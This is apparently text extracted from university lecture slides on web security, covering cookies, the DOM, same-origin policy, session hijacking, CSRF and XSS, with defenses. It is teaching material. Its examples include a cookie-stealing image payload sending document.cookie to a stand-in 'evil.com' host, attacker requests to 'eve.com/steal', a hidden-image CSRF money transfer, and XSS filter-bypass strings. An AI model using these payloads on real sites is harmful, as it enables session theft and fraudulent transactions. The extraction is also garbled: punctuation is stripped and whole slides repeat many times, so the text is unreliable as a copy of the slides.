Web basics HTTP cookies

Myrto ArapinisSchool of Informatics

University of Edinburgh

November 10 2016

1 29

How is state managed in HTTP sessions

HTTP is stateless when a client sends a request the server sendsback a response but the server does not hold any information onprevious requests

The problem in most web applications a client has to accessvarious pages before completing a specific task and the client stateshould be kept along all those pages How does the server know iftwo requests come from the same browserExample the server doesnrsquot require a user to log at each HTTPrequest

The idea insert some token into the page when it is requestedand get that token passed back with the next request

Two main approaches to maintain a session between a web clientand a web server

I use hidden fields

I use cookies2 29

Hidden fields (1)

The principle

Include an HTML form with a hidden field containing a session IDin all the HTML pages sent to the client This hidden field will bereturned back to the server in the request

Example the web server can send a hidden HTML form field alongwith a unique session ID as follows

ltinput type=hidden name=sessionid value=12345gt

When the form is submitted the specified name and value areautomatically included in the GET or POST data

3 29

Hidden fields (2)

Disadvantage of this approach

I it requires careful and tedious programming effort as all thepages have to be dynamically generated to include this hiddenfield

I session ends as soon as the browser is closed

Advantage of this approach

All browser supports HTML forms

4 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (2)

GETminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusrarrSET COOKIEname=valuelarrminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminus

A cookie has several attributesSet-Cookie value[ expires=date][ domain=domain]

[ path=path][ secure][ HttpOnly]

expires (whentobedeleted)domain (whentosend)path (whentosend)

scope

secure (onlyoverSSL)HttpOnly (onlyoverHTTP)

6 29

Web basics Web browsers

7 29

Web browsers

[Ref] How browsers work behind the scenes of modern web browsershttpwwwhtml5rockscomentutorialsinternalshowbrowserswork

Main function of a browser present chosen web resource byrequesting it from the server and displaying it in the browserwindow

Web resources HTML documents PDF files images or someother type of content

Location of a web resource specified by the user using a URI(Uniform Resource Identifier)

8 29

Browser components

9 29

Rendering engine basic flow

DOM (Document Object Model) object presentation of theHTML document and the interface of HTML elements such ascookies to the outside world like JavaScript

10 29

The DOM

[Ref] Introduction to the DOM httpsdevelopermozillaorgen-USdocsDOMDOM ReferenceIntroduction

I The Document Object Model (DOM) is a programminginterface for HTML XML and SVG documents

I The DOM provides a structured representation of thedocument (a tree) and it defines a way that the structure canbe accessed from programs so that they can change thedocument structure style and content

I The DOM provides a representation of the document as astructured group of nodes and objects that have propertiesand methods

I Nodes can also have event handlers attached to them andonce that event is triggered the event handlers get executed

I Essentially it connects web pages to scripts or programminglanguages

11 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

How is state managed in HTTP sessions

HTTP is stateless when a client sends a request the server sendsback a response but the server does not hold any information onprevious requests

The problem in most web applications a client has to accessvarious pages before completing a specific task and the client stateshould be kept along all those pages How does the server know iftwo requests come from the same browserExample the server doesnrsquot require a user to log at each HTTPrequest

The idea insert some token into the page when it is requestedand get that token passed back with the next request

Two main approaches to maintain a session between a web clientand a web server

I use hidden fields

I use cookies2 29

Hidden fields (1)

The principle

Include an HTML form with a hidden field containing a session IDin all the HTML pages sent to the client This hidden field will bereturned back to the server in the request

Example the web server can send a hidden HTML form field alongwith a unique session ID as follows

ltinput type=hidden name=sessionid value=12345gt

When the form is submitted the specified name and value areautomatically included in the GET or POST data

3 29

Hidden fields (2)

Disadvantage of this approach

I it requires careful and tedious programming effort as all thepages have to be dynamically generated to include this hiddenfield

I session ends as soon as the browser is closed

Advantage of this approach

All browser supports HTML forms

4 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (2)

GETminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusrarrSET COOKIEname=valuelarrminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminus

A cookie has several attributesSet-Cookie value[ expires=date][ domain=domain]

[ path=path][ secure][ HttpOnly]

expires (whentobedeleted)domain (whentosend)path (whentosend)

scope

secure (onlyoverSSL)HttpOnly (onlyoverHTTP)

6 29

Web basics Web browsers

7 29

Web browsers

[Ref] How browsers work behind the scenes of modern web browsershttpwwwhtml5rockscomentutorialsinternalshowbrowserswork

Main function of a browser present chosen web resource byrequesting it from the server and displaying it in the browserwindow

Web resources HTML documents PDF files images or someother type of content

Location of a web resource specified by the user using a URI(Uniform Resource Identifier)

8 29

Browser components

9 29

Rendering engine basic flow

DOM (Document Object Model) object presentation of theHTML document and the interface of HTML elements such ascookies to the outside world like JavaScript

10 29

The DOM

[Ref] Introduction to the DOM httpsdevelopermozillaorgen-USdocsDOMDOM ReferenceIntroduction

I The Document Object Model (DOM) is a programminginterface for HTML XML and SVG documents

I The DOM provides a structured representation of thedocument (a tree) and it defines a way that the structure canbe accessed from programs so that they can change thedocument structure style and content

I The DOM provides a representation of the document as astructured group of nodes and objects that have propertiesand methods

I Nodes can also have event handlers attached to them andonce that event is triggered the event handlers get executed

I Essentially it connects web pages to scripts or programminglanguages

11 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Hidden fields (1)

The principle

Include an HTML form with a hidden field containing a session IDin all the HTML pages sent to the client This hidden field will bereturned back to the server in the request

Example the web server can send a hidden HTML form field alongwith a unique session ID as follows

ltinput type=hidden name=sessionid value=12345gt

When the form is submitted the specified name and value areautomatically included in the GET or POST data

3 29

Hidden fields (2)

Disadvantage of this approach

I it requires careful and tedious programming effort as all thepages have to be dynamically generated to include this hiddenfield

I session ends as soon as the browser is closed

Advantage of this approach

All browser supports HTML forms

4 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (2)

GETminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusrarrSET COOKIEname=valuelarrminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminus

A cookie has several attributesSet-Cookie value[ expires=date][ domain=domain]

[ path=path][ secure][ HttpOnly]

expires (whentobedeleted)domain (whentosend)path (whentosend)

scope

secure (onlyoverSSL)HttpOnly (onlyoverHTTP)

6 29

Web basics Web browsers

7 29

Web browsers

[Ref] How browsers work behind the scenes of modern web browsershttpwwwhtml5rockscomentutorialsinternalshowbrowserswork

Main function of a browser present chosen web resource byrequesting it from the server and displaying it in the browserwindow

Web resources HTML documents PDF files images or someother type of content

Location of a web resource specified by the user using a URI(Uniform Resource Identifier)

8 29

Browser components

9 29

Rendering engine basic flow

DOM (Document Object Model) object presentation of theHTML document and the interface of HTML elements such ascookies to the outside world like JavaScript

10 29

The DOM

[Ref] Introduction to the DOM httpsdevelopermozillaorgen-USdocsDOMDOM ReferenceIntroduction

I The Document Object Model (DOM) is a programminginterface for HTML XML and SVG documents

I The DOM provides a structured representation of thedocument (a tree) and it defines a way that the structure canbe accessed from programs so that they can change thedocument structure style and content

I The DOM provides a representation of the document as astructured group of nodes and objects that have propertiesand methods

I Nodes can also have event handlers attached to them andonce that event is triggered the event handlers get executed

I Essentially it connects web pages to scripts or programminglanguages

11 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

